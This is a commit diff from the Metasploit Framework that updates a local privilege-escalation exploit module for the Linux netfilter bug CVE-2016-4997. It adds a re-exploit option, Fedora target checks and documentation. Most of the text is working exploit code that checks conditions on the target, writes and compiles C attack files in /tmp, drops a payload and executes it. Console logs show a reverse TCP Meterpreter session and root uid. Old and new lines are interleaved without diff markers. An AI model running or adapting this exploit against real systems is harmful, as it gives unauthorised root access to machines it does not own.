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https://github.com/rapid7/metasploit-framework
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reexploit and other docs and edits added
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h00die
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@ -2,6 +2,8 @@
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Originally this module was written to drop the binary files on the target. However, metasm wasn't able to compile due to the libc6-dev-i386 requirement, so it was decided to compile on the target.
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This module (and the original exploit) are written in two parts: desc, and pwn. Desc does the heavy lifting to prep/condition the environment, pwn does the payload executing.
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## Creating A Testing Environment
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There are a few requirements for this module to work:
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@ -13,10 +15,14 @@ There are a few requirements for this module to work:
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This module has been tested against:
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1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic)
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2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic
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This module *should* work against
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1. Ubuntu 16.04
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This does not work against the following vulnerable systems. Additional work may be required.
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1. Fedora 24 < [kernel-4.6.3-300](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18)
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2. Fedora 22 < [kernel-4.4.14-200](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19)
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3. RHEL < [kernel-3.10.0-327.36.1.el7](https://rhn.redhat.com/errata/RHSA-2016-1847.html)
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4. Suse < [kernel-default-3.12.59-60.45.2](http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00060.html)
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## Verification Steps
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@ -37,6 +43,10 @@ This module *should* work against
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A folder we can write files to. Defaults to /tmp
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**REEXPLOIT**
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When re-exploiting, no need to run desc (it may even fail), so we can simply run pwn and get our shell.
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## Scenarios
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### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic)
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@ -96,3 +106,31 @@ Escalate
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meterpreter > getuid
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Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
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### Re-exploit
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In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
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msf exploit(ubuntu_netfilter) > set reexploit true
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reexploit => true
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msf exploit(ubuntu_netfilter) > set session 2
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session => 2
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msf exploit(ubuntu_netfilter) > exploit
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[*] Started reverse TCP handler on 172.20.14.188:4445
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[*] Checking if libc6-dev-i386 is installed
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[+] libc6-dev-i386 is installed
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[*] Checking if ip_tables.ko is loaded
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[+] ip_tables.ko is loaded
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[*] Checking if shem or sham are installed
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[+] shem and sham not present.
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[*] Writing payload to /tmp/OblBUbtc
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[*] Writing pwn executable to /tmp/u4PnMEdw.c
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[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
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[*] Sending stage (1495599 bytes) to 172.20.14.188
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[*] Meterpreter session 3 opened (172.20.14.188:4445 -> 172.20.14.188:40370) at 2016-09-17 13:35:57 -0400
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[+] Deleted /tmp/OblBUbtc
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[+] Deleted /tmp/u4PnMEdw.c
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[+] Deleted /tmp/u4PnMEdw
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[-] Exploit failed: Rex::TimeoutError Operation timed out.
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[*] Exploit completed, but no session was created.
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@ -14,12 +14,13 @@ class MetasploitModule < Msf::Exploit::Local
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ubuntu Netfilter Privilege Escalation',
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'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
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'Description' => %q{
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This module attempts to exploit a netfilter bug on Ubuntu 16.04 (not 16.04.1) with kernel
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This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
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only works against Ubuntu 16.04 (not 16.04.1) with kernel
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4.4.0-21-generic. Several conditions have to be met for successful exploitation:
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1. ip_tables.ko has to be loaded (root running iptables -L will do such)
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2. libc6-dev-i386 needs to be installed to compile
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1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
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2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
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Kernel 4.4.0-31-generic and newer are not vulnerable.
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We write the ascii files and compile on target instead of locally since metasm bombs for not
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@ -35,18 +36,24 @@ class MetasploitModule < Msf::Exploit::Local
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'Platform' => [ 'linux'],
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'Arch' => [ ARCH_X86 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
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'Targets' =>
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[
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[ 'Ubuntu', { } ]
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#[ 'Fedora', { } ]
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],
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'DefaultTarget' => 0,
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'References' =>
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[
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[ 'EDB', '40049'],
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[ 'CVE', '2016-4997']
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[ 'CVE', '2016-4997'],
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[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
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]
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))
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register_options(
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[
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OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
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OptString.new('MAXWAIT', [ true, 'Max time to wait for decrementation in seconds', 120 ])
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OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
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OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false])
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], self.class)
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end
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@ -55,27 +62,56 @@ class MetasploitModule < Msf::Exploit::Local
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# user@ubuntu:~$ cat /proc/modules | grep ip_tables
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# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
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# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
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vprint_status('Checking if ip_tables.ko is loaded')
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iptables = cmd_exec('cat /proc/modules | grep ip_tables')
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if iptables.include?('ip_tables')
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vprint_good('ip_tables.ko is loaded')
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vprint_status('Checking if ip_tables is loaded in kernel')
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if target.name == "Ubuntu"
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iptables = cmd_exec('cat /proc/modules | grep ip_tables')
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if iptables.include?('ip_tables')
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vprint_good('ip_tables.ko is loaded')
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else
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print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
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end
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return iptables.include?('ip_tables')
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elsif target.name == "Fedora"
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iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
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if iptables.include?('iptable_raw')
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vprint_good('iptable_raw is loaded')
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else
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print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')
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end
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return iptables.include?('iptable_raw')
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else
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print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
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return false
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end
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return iptables.include?('ip_tables')
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end
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def libs_installed?()
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# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
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# libc6-dev-i386 install
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vprint_status('Checking if libc6-dev-i386 is installed')
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lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
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if lib.include?('install')
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vprint_good('libc6-dev-i386 is installed')
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vprint_status('Checking if 32bit C libraries are installed')
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if target.name == "Ubuntu"
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lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
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if lib.include?('install')
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vprint_good('libc6-dev-i386 is installed')
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else
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print_error('libc6-dev-i386 is not installed. Compiling will fail.')
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end
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return lib.include?('install')
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elsif target.name == "Fedora"
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lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
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if lib.include?('glibc')
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vprint_good('glibc-devel.i686 is installed')
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else
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print_error('glibc-devel.i686 is not installed. Compiling will fail.')
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end
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if lib.include?('libgcc')
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vprint_good('libgcc.i686 is installed')
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else
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print_error('libgcc.i686 is not installed. Compiling will fail.')
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end
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return (lib.include?('glibc') and lib.include?('libgcc'))
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else
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print_error('libc6-dev-i386 is not installed. Compiling will fail.')
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return false
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end
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return lib.include?('install')
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end
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def shemsham_installed?()
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@ -85,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local
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if shemsham.include?('shem')
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print_error('shem installed, system not vulnerable.')
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elsif shemsham.include?('sham')
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print_error('shem installed, system not vulnerable.')
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print_error('sham installed, system not vulnerable.')
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else
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vprint_good('shem and sham not present.')
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end
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@ -282,51 +318,64 @@ class MetasploitModule < Msf::Exploit::Local
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if check != CheckCode::Appears
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fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
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end
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def pwn(payload_path, pwn_file, pwn)
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# lets write our payload since everythings set for priv esc
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vprint_status("Writing payload to #{payload_path}")
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write_file(payload_path, generate_payload_exe)
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cmd_exec("chmod 555 #{payload_path}")
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#register_file_for_cleanup(payload_path)
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print_status "Writing desc executable to #{desc_file}.c"
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rm_f env_ready_file
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rm_f "#{desc_file}.c"
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rm_f desc_file
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write_file("#{desc_file}.c", decr)
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output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
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register_file_for_cleanup(env_ready_file)
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register_file_for_cleanup("#{desc_file}.c")
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register_file_for_cleanup(desc_file)
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if not file_exist?(desc_file)
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vprint_error("gcc failure output: #{output}")
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fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
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# now lets drop part 2, and finish up.
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print_status "Writing pwn executable to #{pwn_file}.c"
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rm_f pwn_file
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rm_f "#{pwn_file}.c"
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write_file("#{pwn_file}.c", pwn)
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cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
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#register_file_for_cleanup("#{pwn_file}.c")
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#register_file_for_cleanup(pwn_file)
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cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
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end
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vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
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cmd_exec("chmod +x #{desc_file}; #{desc_file}")
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sec_waited = 0
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until sec_waited > datastore['MAXWAIT'] do
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Rex.sleep(1)
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if sec_waited % 10 == 0
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vprint_status("Waited #{sec_waited}s so far")
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# check for shortcut
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if datastore['REEXPLOIT']
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pwn(payload_path, pwn_file, pwn)
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else
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print_status "Writing desc executable to #{desc_file}.c"
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rm_f env_ready_file
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rm_f "#{desc_file}.c"
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rm_f desc_file
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write_file("#{desc_file}.c", decr)
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output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
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register_file_for_cleanup(env_ready_file)
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register_file_for_cleanup("#{desc_file}.c")
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register_file_for_cleanup(desc_file)
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if not file_exist?(desc_file)
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vprint_error("gcc failure output: #{output}")
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fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
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end
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if file_exist?(env_ready_file)
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print_good("desc finished, env ready.")
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# lets write our payload since everythings set for priv esc
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vprint_status("Writing payload to #{payload_path}")
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write_file(payload_path, generate_payload_exe)
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cmd_exec("chmod 555 #{payload_path}")
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register_file_for_cleanup(payload_path)
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# now lets drop part 2, and finish up.
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print_status "Writing pwn executable to #{pwn_file}.c"
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rm_f pwn_file
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rm_f "#{pwn_file}.c"
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write_file("#{pwn_file}.c", pwn)
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cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
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register_file_for_cleanup("#{pwn_file}.c")
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register_file_for_cleanup(pwn_file)
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cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
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return
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if target.name == "Ubuntu"
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vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
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elsif target.name == "Fedora"
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vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."
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end
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cmd_exec("chmod +x #{desc_file}; #{desc_file}")
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sec_waited = 0
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until sec_waited > datastore['MAXWAIT'] do
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Rex.sleep(1)
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if sec_waited % 10 == 0
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vprint_status("Waited #{sec_waited}s so far")
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end
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if file_exist?(env_ready_file)
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print_good("desc finished, env ready.")
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pwn(payload_path, pwn_file, pwn)
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return
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end
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sec_waited +=1
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end
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sec_waited +=1
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end
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end
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end
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